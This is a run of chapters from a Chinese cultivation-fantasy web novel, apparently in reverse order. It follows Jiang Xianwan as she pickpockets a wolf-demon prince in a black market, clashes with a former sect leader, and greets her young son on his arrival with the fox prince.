一条玉藕似的小胳膊努力伸出,轻轻抚上江献晚的脸颊。 “昔日晚霞披香肩,今朝日落映眉间,您是行行见过的最漂亮的。” 娘亲好像瘦了一点。 “好!”修言和何未语啪啪鼓掌。 花不休静静看着,一个仰脸,一个低头,眼中倒映着彼此的一大一小,眸底划过一抹思索。 江献晚强忍着将他抱在怀里好好亲一亲,蹭一蹭的念头,不动声色打量江行行。 话说的很流利了,长高了不少,白白嫩嫩,香香的。 抱在怀里,最贴心。 她终究是摁住伸出的手,转而掏出一颗荔枝,给他,“我也觉得我很漂亮。” 江行行接过荔枝,小手认真地剥开。 出乎众人意料的是,他举起剥了一半壳的荔枝,分明是投喂。 江献晚内牛满面。 死狐狸,把她儿子训练的跟个王牌保姆似的,剥荔枝剥的都快了不少。 就着他的小手咬下,“甜。” 林玉锦拼命压着快要咧到耳后根的嘴角,“你喜欢吃什么,我给你夹。” 他得好好表现,让行行最喜欢他! 江行行朝他甜甜一笑,“除了辣的都行,我不挑食的。” 七双筷子嗖地伸进他面前的小碗中。 江行行道谢,很给面子的开吃。 林轻染将这些热闹尽收眼底。 她皱着眉,眼底掠过一丝冷芒,“这小孩是什么来路?” 系统奇了怪,声音凝重,“检测不出。” “能看出来风回雪与江献晚之间有什么关系吗?” 系统:“江献晚身上始终笼罩着一团迷雾,什么也监测不出。” “奇怪的是,这个小孩身上的迷雾比她还要厚重许多。” 第 117 章 我是风行行 “我也听说了!那个顺他芥子囊的女修到处摸人家妖的尾巴翅膀耳朵,虽然听起来流氓,但出手阔绰,一张嘴就是一千块灵石,到了狼太灰和那个豹妖这里只肯给一百灵石,最后谈崩了,嫌弃地走了。” “莫名觉得此人很有趣怎么回事?” “原来你也这么想的,我觉得也是,也不知道是谁,简直是吾辈楷模啊!” “太狗了,反正我爽到了!妖域算不算师出未捷身先死?” “哈哈哈哈嗝!一半一半吧,妖帝一脉不是还没到。” 同样闭关一夜做完手工,来凑热闹的三个少年,默默交换了一个眼神。 小师妹闷声不响,又干了一件这么大的事? 想到风回雪是行行的爹,天狼王和妖帝一脉不合。 不得不说。 干的漂亮! 铁长老站在三楼,若有所思,神情还有些诡异。 这么狗的女修,他们太虚宗就有一个啊。 但,他不说,转身去找花不休。 林玉锦更是卖力地开始表演。 “不是吧不是吧,谁啊,也太厉害了叭。” “必须嘉奖!” “对!大大有赏!” 江献晚刚收到风回雪的传信,从二楼飞身跃下,站在树枝上,好奇地问道:“谁厉害?” 修言举起一只手,意气风发,“江师妹厉害!要不要再搓一把?” 让贫穷的他,实现一波反杀! 何未语笑的温温柔柔:“这个提议我赞同,江师妹,经过一夜努力,我牌技进步神速,给个机会,我想把二十块灵石赢回来!” 江献晚:“……驳回。” 搓你妹,赞同你妹。 最后还是她请客。 众人哄堂大笑,还没笑到一半,六宗高层像是商量好一般走了出来。 “妖域殿下已至繁华郡,你们这群小崽子安分点。” 林玉锦举手,“秋掌门,妖域殿下是谁啊?” “……风回雪。” 你这个棒槌,妖域有几个殿下。 “听说他有九条尾巴。” “听说他捡了一个我们人族的孩子当儿子。” “你说那个女修会不会掏出一千块灵石说:我能不能摸摸你的尾巴?” “我觉得你说的不对,怎么滴也得贵点吧,九条尾巴,那不得九千块灵石!” 众位高层:“……”不是,你们咋那么开心呢? 还有,你们关注点能不能正常一点! 不过,狼太灰遭遇扒手这件事他们也觉得……挺爽的。 于是乎,没拦着一群小崽子风风火火冲出院子去看稀罕。 客栈外。 首当其冲,一看就很贵,六匹并驱而行,正挥展着雪白翅膀,在阳光下折射着豪气光芒的车驾就这么冲开云雾,闯进视线。 众人纷纷踮脚。 “我去,可真是太有钱了。” 修言激动的数了起来,“一,二,三,四……十一,十二……天啊这是来了多少妖啊!” 二十辆豪华奢侈的鎏金车驾,很有秩序的稳稳落在街道,宽敞的路瞬间变得拥挤。 貌美的妖侍分立在两侧,一手恭敬贴于胸前,朝着车首微压头颅。 江献晚随着众人后退让路,唇角弯弯,恨不得大喊一句:好儿子! 林玉锦激动的手舞足蹈,悄悄拿手狂戳江献晚。 白子夜努力踮脚,就连苏清流面颊都红了一些。 他们的大侄子,到了! 优美的白天鹅躬身撩开坠着细碎宝石的纱幔。 众人鬼使神差地收声,纷纷屏住呼吸。 万众瞩目下,一只骨节分明,光洁手背泛着青色脉络的手掌探出绯色洒金衣袖,扶着鎏金车驾迈下,出现在众人视线。 随之映入的是一张颠倒众生,妖颜若玉的面庞。 好美! 不愧是九尾妖狐一族! 弟子们暗戳戳的你碰碰我,我碰碰你。 好想看一看妖域殿下的九条尾巴! 只见那美的雌雄莫辨,一举一动都带着万种风情的殿下,眼尾也曳着三分浑然天成的媚色。 风回雪唇角含笑,双手朝车厢张开,磁性悦耳的声音,听的人骨头都酥了。 “行行来,爹爹抱。” 江献晚泪目。 粉雕玉琢,同风回雪穿着同样色系衣裳的小娃娃,在道道迫不及待的目光下,伸出两只小胳膊扑了出来,脸颊粉嘟嘟,睫毛扑闪扑闪,一口令人心化的小奶音,“爹爹!” 娘亲,行行来了! 苏清流鼻尖泛酸,心化的一塌糊涂,再看白子夜和林玉锦,俱是笑着偷偷红了眼。 江行行。 他们的行行! 风回雪扫过挤在客栈前的一群人,视线落在某处,停留三秒,强忍着,依依不舍挪开。 他身姿挺拔颀长,一手稳稳抱着江行行,另一只领导体贴群众似的热情挥手。 “各位道友,你们好啊。” 以徐燕洲和雾渺为首:“……”嘶,这妖域殿下,还挺热情。 原本以为就算不是剑拔弩张,怎么也得皮笑肉不笑的会见场面。 这怎么和想象中的,如此不一样? 风回雪丝毫不觉得尴尬,甚至举着江行行的小手挥手。 “儿子,来,说大家好啊!” 江行行很配合,挥动藕白的小手,琉璃似的眸子水汪汪的,“大家好啊。” 江献晚看的分明,江行行鬼灵精怪对她一笑,而后强忍着不看她。 并不意外。 意外的是六宗。 他们看着梳着两团发包,小脸描绘着闪闪细粉花纹的小娃娃,忍不住跟他挥手。 “你好你好。” 太热情太有礼貌了,根本绷不住脸! 林玉锦是跳的最高的那一个,“你好啊行行!” 一声行行,江行行被风回雪轻轻放下。 他身着绘有高级阵法纹,柔软鲛纱绯色洒金衣袍,迈开小腿,“啊,你们好,我是风行行。” 江献晚:“……” 江献晚一哽,险些撅过去。 死狐狸! 竟然给她儿子改了姓! 江行行直奔方出来的凤仪剑尊身前,小手揪上一片柔软的青衣,仰着小脸,“您好漂亮啊。” 这个是师爷爷,贼漂亮的。 花不休:“……”下意识俯身,伸出一只手。 他看着眉眼如玉雕琢的小娃娃,又搁在他小手中一个空间芥子。 有了开头,就连徐燕洲和雾渺他们都忍不住体贴的递出一只手。 实在是,这小娃娃长得太漂亮了! 第 116 章 聊八卦 “小师妹!”林玉锦声音最大,迫不及待的扑过去塞她嘴里一枚点心,“尝尝,小师兄特意给你买的螺蛳粉味糕点!” “哕。” 雾渺没走,他靠在墙壁,看着被一群叽叽喳喳的亲传簇拥在中间的江献晚,不知道在想什么。 林轻染走了过去,“师尊,她曾在万古宗吗?” 事情超出预料,她怎么也没想到,江献晚是那个先来者。 所以,雾渺始终对她的好感值不增反而熄灭,也是因为江献晚的存在? 林轻染喘不上气,几乎站不住。 尽管她不用完全依附美人图鉴,可以用别的法子,可本该属于她的女主光环,被一个莫名其妙出现的人给抢走,如何叫她坐得住! 江献晚果然是变数! “嗯。”雾渺模糊轻嗯一声,并未察觉到她眼底一闪而逝的恨意,目光始终落在江献晚身上。 三个同她一样青衣的少年站在她身后。 就连裴长安还有北境梵音宗明阳宗两大宗门的弟子,也禁不住这热闹,好奇地围了上去。 雾渺蓦然轻笑出声。 他从来都知道,江献晚是耀眼的明珠,总有一日会光芒万丈。 而不是做一个…… 他面上的笑容逐渐淡下,消殇。 那些日子,应当是江献晚最不愿想起的时光。 是他威胁一个没有修为,没有任何依靠的少女做了一个召之即来挥之即去的炉鼎。 哪怕小师叔身份贵重。 哪怕他给再多的灵石去弥补。 江献晚不喜他,不喜万古宗,不喜北境,也不喜……小师叔。 话里话外都在与他与万古宗划清界限。 雾渺转眸,眼角便显得有些晦涩不明,“轻染,南北两境素来和睦,你之前行事多有不妥,玄古大赛在即,该与他们多相处为是。” 从前观她柔顺,不想出了一趟远门,做出这般不知轻重之事。 他当初收林轻染为徒,也是出于私心。 炉鼎体质,天品水灵根,多像那个不声不响,就那么独自一人走掉的少女。 江献晚当时头也不回的离开……心里想的,又会是什么。 私心不想一个无依无靠的少女也会因没有安全感,不顾一切独自走掉。 他从不是拖泥带水优柔寡断之人,能坐上掌门的位置,更不会凭着同情怜悯行事。 江献晚不知不觉用一年时光,在他这里开了一道口子。 若是时光倒流…… 雾渺哑然,却怎么也遮掩不住眼底的黯淡。 时光不会倒流,江献晚在往前走。 前途开阔,似锦绵长。 林轻染唇角的笑很僵硬,还是恭敬地垂眸,“是。” 她一定会和他们,尤其是会和江献晚好好相处。 大厅一边,短短一个时辰,毫无悬念再次赢个底朝天,在几个亲传热烈要求起哄下,江献晚豪爽地一挥手。 “成,今晚在场所有人的消费由我江献晚买单!” 修言是声音最大的,撕心裂肺喊道:“掌柜的!这一本菜谱,全都要!” 他今天就把自己给撑死! 不撑死也得把本钱给吃回来! 林玉锦给他一胳膊肘,“脸你要不要!” 吵吵嚷嚷的声音几乎掀翻屋顶。 裴长安已经静静地看了一个时辰,见一群人嘻嘻哈哈勾肩搭背拼座位,抿了抿唇,默默起身离开。 江献晚抬手,“唉,那个,那个裴师兄,你们不吃饭吗?” 她又不是什么小气的人。 再说,除了因为卖书跟万古宗弟子打了无数次群架,裴长安和其他两宗修士又没对她做过什么。 裴长安一愣,指了指鼻尖,“你,在跟我说话?” “不然呢,这里有几个裴师兄。” 修言一个箭步,揽过离他最近的一个梵音宗弟子,“她赢的芥子囊都鼓了,不吃白不吃!” 年轻的男女总是很容易打成一片,北境明阳宗的一位女弟子扯了不知在想什么的林轻染落座。 裴长安觉得从头到脚好像一下子轻松下来,眉眼温软,笑着道:“吃,江师妹请的,自然要吃。” 六宗弟子这么一落座,各色弟子服交织,仙气泠泠,只看着,便赏心悦目。 苏清流他们本来还担心林轻染在,他们会倒霉,出乎意料的没发生什么…… 呃? 坐在林轻染旁边的两位弟子筷子一会掉了,勺子一会碎了,要不然就是上菜时盘子歪了,倒没什么太大的影响。 楼上一群掌门长老望着难得其乐融融的一幕,可谓是感慨。 南北两境,表面和气一团。 但从未有过这般放下身段,和谐有爱的时候。 以往,这些天赋惊艳的亲传弟子,哪个不是你瞧不上我,我瞧不上你,见面彼此端着架子。 雾渺望着这一幕,竟觉得不知其味,他阖了阖眼,眼底却挥之不去的黯然失色。 道明宗掌门搓手,“那个,咱们要不也开两桌。” 反正有人付账,不吃白不吃。 他也……没钱吃饭了啊! 徐燕洲:“……”也行。 展示他们大宗实力的时候到了。 做出请的姿势,“诸位,请。” 反正不用他付钱。 江献晚望着坐了两桌的六宗高层,面庞有些扭曲,眼神有些幽怨。 你们这些高层领导也来蹭饭? 还有,她家掌门怎么一副东道主的架势? 难不成……这顿掌门请了? 待吃过饭,正要拔腿离开的江献晚被徐燕洲拎着脖领子揪到了掌柜面前。 后者捂着心口,一脸肉疼。 一算下来,倒贴两千! “以后绝不能打麻将了!” 赢了还要请客! 痛定思痛,江献晚付过账,无情地拒绝众人继续搓麻将的邀请,钻进房间闭门不出,任谁来喊她,一句修炼堵回去。 当然,她以为的本该努力修炼,生怕输给对方的两境弟子,在她走后,聚在院中继续搓了一夜麻将。 一边嗑着瓜子,面色潮红,聊的那叫一个兴奋。 何未语:“三条!听说了吗?天狼王的儿子在黑市被人扒了。” 修言:“碰!还发脾气要两境给他个说法,笑死。” “他好意思要说法,自己技不如人,连个芥子囊都看不住,还敢来参加玄古大赛,天选小废物。” “中风!听说芥子囊里有他们掏空家底,以八千万的惊人数字拍下的高高级法宝,这下鸡飞蛋打,还没暖热乎,他们连住的地方都没有,被赶出了客栈,还跑到黑市打擂台。” 第 115 章 你还真是善 江献晚看着手里的芥子囊,说不诧异是假的。 狗雾渺,想当人? 不过,她已经不需要了,也不想跟万古宗的人有太多牵扯。 她拍了拍雾渺的肩,像是为他拍去什么不该有的灰尘,将芥子囊塞回他手中。 “雾掌门,我们除了雇主和被雇好像没有任何关系,我太虚宗不比万古宗差,灵石多的是,外人相护更是说笑了。” “事往日迁。”江献晚唇角弯出莫名弧度,“雾掌门今后多多保重贵体。” 林轻染心思不正,雾渺有她,福气还在后头。 雾渺闭了闭眸,很快恢复冷静,“晚晚,你误会我的意思了,我觉得我们需要冷静一下。” 他确实不够冷静。 哪怕北境出了天大的麻烦,都能谈笑风生,面不改色。 从见到江献晚开始,心里就乱着,不由自主守在大厅,只为着等她回来。 连这么多人偷听都未能及时察觉。 雾渺恢复一贯淡若的神色,轻扣上江献晚的手腕。 “回不回去,我们也该好好谈谈。” “晚晚,我有许多话想和你说。” 他尊重江献晚的选择,也从未怪她就这么跑了,只是想问一问她这两年是如何过的。 江献晚蹙眉,骨腕堪堪一翻,一股裹挟着纵横无匹的威势,忽然从三楼轰然倒泼,越过江献晚的肩头。 雾渺下意识扯开江献晚,阻挡之际,灵力反被一击震碎,整个后背几乎凹陷入墙壁一寸。 他喉结剧烈攒动,面庞血色褪尽,勉强咽下喉间翻涌的血气,缓缓抬眸,“剑尊前辈?” 花不休立在朦胧而幽微的红光之下,青色的大袖翩翩然曳地,眉目之间罕见的平静宁和。 “雾掌门,这般带走我的徒儿,是不是不好。” 他唇角若有似无的弧度勾人三分,漆黑的眼睫下却透着浅淡的戾气。 眸光落在攥着江献晚手腕的那只手,唇线微压,眼瞳似裂开猩红暗纹,已生愠色。 雾渺无声抿住了唇,不由转眸去看身侧望着来人眼底便不自觉多出几分笑意的江献晚。 江献晚说的不错,她已不需要外人来护。 而他……此刻便是这个外人。 雾渺蜷了蜷指,尽数掩去眼底复杂的情绪,松开江献晚的手腕。 视线转向乌泱泱的人头,才反应过来,自己方才的话,对江献晚造成了什么影响。 他阖目片刻,神色已如往常,丝毫不在意肺腑剧痛,开口解释道:“凤仪剑尊,是我疏忽,我与晚晚是旧识。” “偶然一次机会,她来万古宗……”雾渺微微咬牙,继续道:“炼制丹药,想办法……嗯……使那几头稀罕的灵兽繁衍,我付给她灵石,谁知道她养到一半跑了。” 江献晚:“……” 把北帝尊比作灵兽,你还真是……善。 不过,狗雾渺是不是顺带把她也给骂了? 花不休有些阴郁的弧度僵在唇角:“……” 怪会说的,多说点。 雾渺嗔看拿古怪眼神来瞅他的江献晚,只能睁着眼说瞎话。 “我没别的意思,她到底在万古宗待过一年,也算是交情匪浅。今日一见,她竟成了剑尊弟子,颇为感慨,所以才想着同她说几句话。” 不用凤仪剑尊说,他也打算解释。 一来,他不能当着这么多人的面毁坏江献晚的名誉。 二来,江献晚与他小师叔有过关系,容不得旁人猜想议论。 一句话,将心思想歪的众人拉回正道,铁长老面色稍微缓和,将戒尺纳入袖中。 众人尴尬地点头表示懂。 原来是养灵兽的啊。 啊哈哈。 难怪。 听说万古宗有好几个镇宗灵兽,金贵无比。 人家雾掌门给她钱,她养到一半不负责的跑了,确实令人生气。 方才两人一系列的你来我往瞬间有了解释。 只有万古宗的人心情有些复杂。 养灵兽,何来之说。 但此事暗藏的真相,并不是他们能知晓一二的,自然不会妄自猜测掌门行事。 雾渺解决了众人,指尖一戳江献晚脑门,故意倒打一耙,“死丫头,你说你亏不亏心!” 北境弟子点头:亏。 南境弟子摇头:不亏! 江献晚躲开雾渺的手,轻笑,“雾掌门,你怎么不从自身上找找原因?” “我为什么放着北境第一宗的活不干,跑来南境太虚宗,说到底,还是你不行,又或者,万古宗不行啊。” 雾渺:“……” 万古宗:“……”不是,起因只是因为灵兽,现在超级加倍,这就一杆子把万古宗打死了。 掌门竟丝毫不恼,甚至还能笑的出来。 “说的好!” 修言啪啪鼓掌,万古宗的人脸都绿了。 雾渺沉默半晌,“死丫头,一点亏不肯吃。” “还是这副死样子,你给我过来,我非得跟你好好聊聊。” 说一说小师叔的事。 他前段时日收到小师叔传信,一头雾水前去寒潭领罚数日。 前所未有。 后来裴长安回宗,他才得知他们去太虚宗后所发生的事。 综合来看,很有必要怀疑,小师叔已经遇到了江献晚。 他不敢向小师叔打听他的私事,迫切的想知道他们有没有再见,江献晚又知不知道,她睡的人是北境帝尊。 “可别。” 江献晚一拍凭栏旋身落于大厅,慢条斯理拍了拍衣裙。 “别以为跟我套近乎,大赛就能让我放水,搞完妖魔,我们还是要搞你们的。” 北境:“……”你虽然是剑尊弟子,也不能狂的大放厥词吧? 南境:“……”虽然不低调,但,说的没毛病啊。 雾渺笑,也不恼,只是眸光微微恍惚,“死丫头,翅膀终于硬了。” 死丫头被天青宗和道明宗的亲传再次热情地团团围住。 何未语蹲她半天,早就迫不及待了,“江师妹,打麻将吗?” 修言挤开她,“江师妹!给我一次机会!我想赢!我真的想赢一回!” “我准备好瓜子了!” 再顺便八卦八卦她在万古宗养灵兽的生活。 左右无事,三个师兄还没回来,江献晚痛快点头,“成。” 她看了一眼角落里眸光晦暗不明的白衣少女,挑了张最远的桌子坐下,“来。” 南境亲传呼啦啦围过去,刚回来的苏清流三人快步走上前。 第 114 章 江早早 她是……在跟雾掌门讲话? 雾渺下意识起身,对着她的背影,“去我房间还是去你房间?” 众人:“……?!” “都行。”江献晚不耐烦地留下两个字,直奔三楼。 花不休打开门,眼尾便轻轻一挑。 孽徒敢主动登门了? 江献晚自然还是心虚的,脚卡在门槛,因花美人靠在半边门板上的动作,进不得。 她绷紧皮,迎上似笑非笑,指尖勾起肩头一缕墨发,瞧她的师尊,呵呵干笑一声,“师尊,进去再说?” 花不休无声盯她十秒,悠悠道:“为师不敢,为师怕狼。” 江献晚:“……” 色狼·江献晚心虚低咳,“哈哈,师尊说笑了,哪里有狼。” 真宗的狼,在黑市啊。 说罢,煞有其事扭头往两边瞅了瞅。 “哦?没有吗?”花不休缓缓俯首,嫩红的唇珠若即若离,夹裹着清浅的气息,吐字低沉而柔和,沿着江献晚的耳廓攀爬,亲昵的像是在低喃,“可为师……看到好大一条呢。” 江献晚:“……”这事,过不去了吗? 花美人该不会是想秋后算账,来扒了她的皮吧? 意识到很有这种可能,江献晚默默咽了一口口水。 微微仰面,拉开危险的距离,抬起无辜的眸子,双眼露出恰到好处的疑惑,果断装迷,“啊?” 又自言自语道:“哦,那个,师尊,徒儿突然想起来还有件特别重……” 她转身就想脚底抹油逃命,余光瞥见花不休眼里噙着的三分浅笑,冒出一丝丝惊人的凉意,一个激灵,麻溜回身。 花美人青衣广袖,唇角含笑,潇潇然立在原地,怎么看都像是春山深处最滟绝的一抹几乎能渗出微光的春痕。 只有江献晚知道,敢跑,她的皮真的要没了。 缓吸一口气,心一横,仰脸凑近。 “师尊尊,要不……您亲回来?” “两下也行。” 花不休:“……” 他睫毛簌簌一颤,含笑的薄唇弧度渐消。 垂眼看那仰着小脸,肌肤娇嫩,嫣红双唇微微张开,白腻纤长柔颈都淌着柔润脂光的徒儿,眼底深处似有轻风胡乱翻飞。 花不休蓦然低笑一声,在她的注视中,缓缓俯首欺近…… 走廊里的红灯笼将两道逐渐重叠的一双人蒙上一层暧昧的光晕,江献晚随着浅浅扑来的呼吸,瞳孔一点一点扩散。 可仍抵不住满身的犟骨,强撑镇定,学着美人师尊,露出一点挑衅的笑意。 花不休低头看着她,发丝随着青色发带垂落,瞳色渐渐如漆,翻涌成墨。 那双柔软的唇几乎擦着她面颊,一点一点靠近那截雪膏似的颈。 江献晚被滚烫的呼吸蛰的微微扬起颈子,后颈便被一只温润的手掌轻轻掐上……捉进屋中。 随着门被叩上,花不休已悠然落座,慢条斯理地从盘中捡起一颗荔枝。 “说罢,又闯了什么祸,想让为师给你擦屁股。” 江献晚悄然松了口气,想起正事,两眼重新放光。 走近两步,毫不客气捏过他指尖刚剥好的荔枝,塞自己嘴里,“师尊尊,再擦一次,帮我把这个神识烙印抹了。” 花不休捏着芥子囊,眼尾轻挑,“你把妖域的东西抢了?” “嗯嗯,天狼王他儿子的,师尊快点,甭墨迹。” “当然,辛苦费,一万灵石。” 花不休乜她,将芥子囊随手丢在桌上,兴致缺缺,拒绝,“不要。” 江献晚:“……” 不是最喜欢钱吗? “十万?” 花不休不看孽徒。 “二十。” 花不休依旧不看孽徒。 江献晚无奈,扯了扯他的衣袖,“要吧?” 花不休将衣袖扯回来。 江献晚叹了口气,在他身边落座。 而后不紧不慢剥了颗荔枝,还他嘴里,欲言又止,“师尊,您莫不是……不行?” 花不休:“……”没心没肺,气死人的孽徒。 花不休含着荔枝,没好气瞪她一眼,重新拿过芥子囊,“为师只是想证明,为师很强。” 美人师尊果然很强。 不过眨眼功夫,江献晚开开心心地走了。 下到第二层楼,盯了眼前人两秒。 雾渺咬着后槽牙,偏头一笑,“晚晚?” 抬手将她摁在墙上。 “小骗子,好的很,早早晚晚,叫我好找。” “这两年你都去哪了?” “来了南境,弄成这副样子,就是为了躲我们?” “你就这般信不过我?” “我亏你了吗?哪次不是给你一堆灵石,你倒好,拍拍屁股世界辣么大,还想去看看。” “你知不知道我做梦都恨不能掐死你。” 他也不知道。 本来江献晚对他来说只是一个换小师叔安然无恙的炉鼎,可每月再等不到那个孤零零的小姑娘来找他拿灵石,像缺失了什么。 习惯,真的是一种可怕的东西。 甚至会担心她低弱的修为,离开万古宗,会不会死在哪里都没人发现。 雾渺握着她的肩膀,呼吸变得急促起来,恨不能将她晃死,“还骗我说你叫什么江早早!” 咬牙发笑。 “江献晚!我对你很差吗!” “你就这么跑了,万一出了事,死了,伤了,谁管你!” 他几乎是低低吼出了声。 大厅两境弟子,甚至还有几个长老,表情逐渐诡异,齐刷刷陷入天打雷劈的沉默。 卧槽! 雾掌门和剑尊弟子曾经……有,有……? 她逃,他追。 听起来雾掌门还是被玩弄的那一个! 只有站在远处的白衣少女,想将自己一头撞死! 江献晚反手将他摁在墙上,毫不客气的顶回去,“我叫江献晚,小名叫早早怎么了?” “还有,你情我愿,一锤子买卖的事,又不是签了卖身契,怎么听这意思就欠了你了?” “雾掌门,我只是一个修为低弱不值一提的人,死了便死了,不劳您费心。” 雾渺怔怔地看着面前这张脸,思绪霎时被带回从前。 曾经容貌稚嫩的小姑娘现在眉眼极艳,面庞上的痕迹亦不能遮盖,一如从前,让人挪不开视线。 没变,一点没变。 “晚晚。” 雾渺从袖中摸出一个芥子囊放在她手中,语气飘散而沙哑,“我一直备着呢,等了两年,你都没有来拿嫖资。” 偷听的众人:“……!!!” 嫖资! 什么嫖资? 是他们想的那个嫖资吗! 两境的人全懵了。 这两个字,是能从清风霁月的雾掌门嘴里,说出来的吗?! 铁长老从一头雾水,到眼露怒意,豁然起身。 江献晚蹙眉。 雾渺是故意的? “跟我回去,你喜欢灵石,万古宗的灵脉都给你挖,回去,万古宗会护着你,我亦会护着你。” 他低低的声音有些急迫。 第 113 章 可恶的两脚兽 江献晚痴迷的看着往来的各种妖魔,从来没觉得这么幸福过。 一路摸下来,花了不少灵石。 打开芥子囊一看,终于肉疼的冷静下来。 不能再摸了,太贵了。 而且她也不能被捏了,脸都肿了。 江献晚顶着小半张红肿的脸,东瞅瞅西逛逛。 当一条灰扑扑的狼尾巴,和一条油光水滑的豹子尾巴,从她面前扫过,脚步一转,跟了上去。 “趁此机会弄死这个死狐狸。” 豹妖冷冷一笑,“您放心,就算弄不死,断他一条尾巴还是能做到的。” 江献晚掏出一把瓜子,若无其事,随手翻翻摊位上的东西,悠悠跟上。 “还有那个人族的小崽子,呵,可笑至极,竟然把一个不知哪里捡来的两脚兽当成宝贝,左一个儿子右一个儿子,没见过自己给自己戴绿帽子的。” “到时候一起弄死,让他开心开心!” “大人英明。” 大灰狼傲娇地挺起胸膛,“是我父王英明!” 江献晚:“……” 好家伙,还真是天狼王的儿子,狼太灰? 刚出门就被她撞上了? 江献晚微微眯眸。 管他谁儿子,谁敢弄她儿子和她儿子的老子,她就弄死谁! 她跟了一会儿,发现他俩只是闲逛,听不出更多有用的信息。 甚至觉得这头狼浑身透着一种没有遭受过社会毒打的清澈愚蠢。 风回雪八百个心眼子,谁弄谁还不一定呢。 江献晚想了想,打消了现在就将他一身狼皮扒下来的念头,打算离开。 狼太灰又低着声音嘟囔,“没想到南境的拍卖阁这么坑,差点就与乾坤鼎失之交臂。” “不过,能让风回雪栽个跟头,多少钱都值了!” 豹妖想到什么,尴尬地道:“少主,咱们的灵石都拿来买乾坤鼎了,只够今晚的房钱。” “我看到那边有擂台,要不我去打两场比赛?” 大灰狼思索了片刻,“行吧。” 江献晚果断转身,瞥了眼下意识摸了摸腰间的大灰狼。 乾坤鼎能断狐狸一条尾巴? 危险因素,不能留。 至于这头蠢狼,暂且让他再多活几日,等虚古大赛时再杀。 她忽然扬声,对从身边经过的猫妖道:“可爱的小猫咪,我可以摸摸你的尾巴吗?” 猫妖:“……?” “一百块灵石。” 大灰狼和豹妖下意识转身。 见一个人族修士眼放精光,火辣辣的盯着衣袍下露着一截雪白尾巴的猫妖,轻蔑的嗤笑出声。 很快,他们就笑不出了。 “五百。” 猫妖:“……”五、五百。 “一千!” 狼太灰和豹冲低头瞅了一眼自己的尾巴。 区区卑贱的低等妖,尾巴也值一千? 这人族修士是个傻子吧。 可当他们看到那个两脚兽,大气的掏出一小堆闪闪发光的灵石,不由得沉默。 江献晚轻轻揉了揉猫妖的耳朵,摸的那对雪耳微微发着抖,纤薄的绒毛都晕开一层厚厚的红晕。 再握上它的尾巴,从上撸到下。 猫妖羞的低低喵呜一声,双脚发软就要站不住,江献晚终于好心地放开他的尾巴。 “你的尾巴打理的很滑,比我刚才摸的狐妖的尾巴还要舒服。” 猫妖羞涩地咬着唇,浅蓝色的眼睛蓄满朦胧的雾气。 他大约第一次遇见这么厚脸皮,又有钱的流氓。 江献晚笑着跟他摆手,一转身,看到看完戏想要离开的大灰狼和花豹。 “我可以摸摸你们的尾巴吗?” 大灰狼:“……?” 花豹:“……?” 狼太灰僵硬地转过身,暗黄色的瞳仁不可思议地瞪大了,狼耳瞬间气成飞机耳,“你说什么?” 对,就是这种表情。 每个妖的第一反应就是不理解。 花豹更是用一种便秘的眼神瞪她。 江献晚淡淡开口,“五十块灵石。” 狼太灰顿时大怒,“你刚才摸它起步价不还是一百!凭什么我只有五十!” 豹冲:“……”不是,这是重点吗? 江献晚皱着眉瞅了眼他的尾巴,看起来很不情愿,“那,一百?” “不能再多了。” “一百?呵!”狼太灰气笑了,中气十足,吐她脸上,“滚!” 一百! 他的尾巴就值一百?! 这个该死的、眼珠子被屁股坐住的人族两脚兽! “切。”江献晚轻嗤一声,嫌弃地又觑了觑他的灰尾巴,果断转身。 她这一切一转身,将狼太灰气的连连吸气,险些原地升天,就连花豹都觉得受到了天大的侮辱。 “什么意思?什么叫切?她那是什么语气?可恶的两脚兽!竟然敢如此羞辱本王!难道本王还比不过那些低贱的小妖吗!” 他以为怎么着也得给一万的! 豹冲:“少主,她如此侮辱您,不如我们……”抢了她的钱! 这个人族修士一看就有钱,脑袋上还插着两根从白鹤妖和孔雀妖翅膀上薅下来的羽毛。 可想而知,她摸了多少妖。 刚好,这几天的房费也有了。 黑市是有规定说不能杀人斗殴,可没说不能偷钱! 狼太灰眼睛一亮,当即一挥手,恶狠狠道:“跟上她!” 当看到江献晚再次花了一千块灵石,爱不释手的摸鸡妖的翅膀,更气了。 连只鸡都比他贵! 凭、什、么! 很好,可恶的两脚兽,惹到他算她倒霉! 江献晚仿佛对身后跟着的两个尾巴恍若未觉。 她忍着肉痛放开鸡妖的尾巴,慢悠悠地转过街角,来到一条光线极暗的僻静巷子。 狼太灰和豹冲对视一眼:就是现在! 两个妖族少年笑容邪恶,宛如鬼魅窜进巷口。 下一秒,噗通两声,地面多出两道抽搐的身影。 江献晚嫌弃地摇头。 这灰尾巴狼身上的衣裳都刻着高级防御阵法,可想而知,身上必定带着保命的法宝。 可那又怎样,还不是被她挥手药倒了? 江献晚麻溜的摸走他腰间的芥子囊,脚踩过狼尾巴和豹尾巴……走了。 这一切从开始到结束不过三秒。 一道黑影转眼淹没在熙来攘往的街道,悄无声息消失在黑市。 飞快换过衣裳,江献晚直奔客栈,准备找花不休抹了芥子囊上的高级神识烙印,以防被快速追踪到。 前脚刚迈进客栈,就看到坐在楼下大厅似乎在等人的雾渺。 大厅满座,南北两境弟子皆有,却格外的安静。 仙气飘飘,容貌出色的万古宗掌门坐在那里,更是惹眼。 江献晚着急干正事,不等他张嘴,一摆手,敷衍道:“现在没空,一柱香后。” 众人:“……?” 第 112 章 我叫江献晚 两炷香后。 林玉锦拿袖子狠狠一抹眼底的湿意,艰难地抬起手朝自己脸上扇了一巴掌,“所以……我有大侄子了?” 白子夜涣散的目光落在虚无处,鼻音还有些厚重,喃喃道:“所以……我很快就能见到行行了!” 苏清流垂下泛红的眸子,掏出芥子囊。 白子夜和林玉锦同时看他,“大师兄,你做什么?” 苏清流面部线条异常的柔软,声音温柔的几乎要滴出水来,“给行行准备见面礼。” 他们不敢想,小师妹轻轻巧巧道出那短短岁月的生活,背后吃了多少苦头。 可他们……却不知,更缺失了那般重要的一段时光,还是在小师妹独木难支,最需要他们的时候。 江献晚默默闭紧嘴,生怕再多说两句,惹三个师兄哭。 她托着面颊,认真的看着被烛火笼上一层暖意,凑在一起嘀嘀咕咕翻芥子囊的三个少年,唇角轻牵。 三人挑来挑去,总觉得礼物不够多不够好,非要去繁华郡的黑市。 林玉锦把自个的家当全拿出来了,“这些不够,我还要买些材料亲手做!” 白子夜难得赞同他,“我也要亲手做。” 苏清流觑他俩,嗓音难得认真而铿锵有力,“行行肯定最喜欢我!” 白子夜林玉锦齐齐呸他:“走着瞧!” 江献晚率先打开门,“成!那我就不跟你们说他喜欢什么,师兄,你们看着表现吧。” 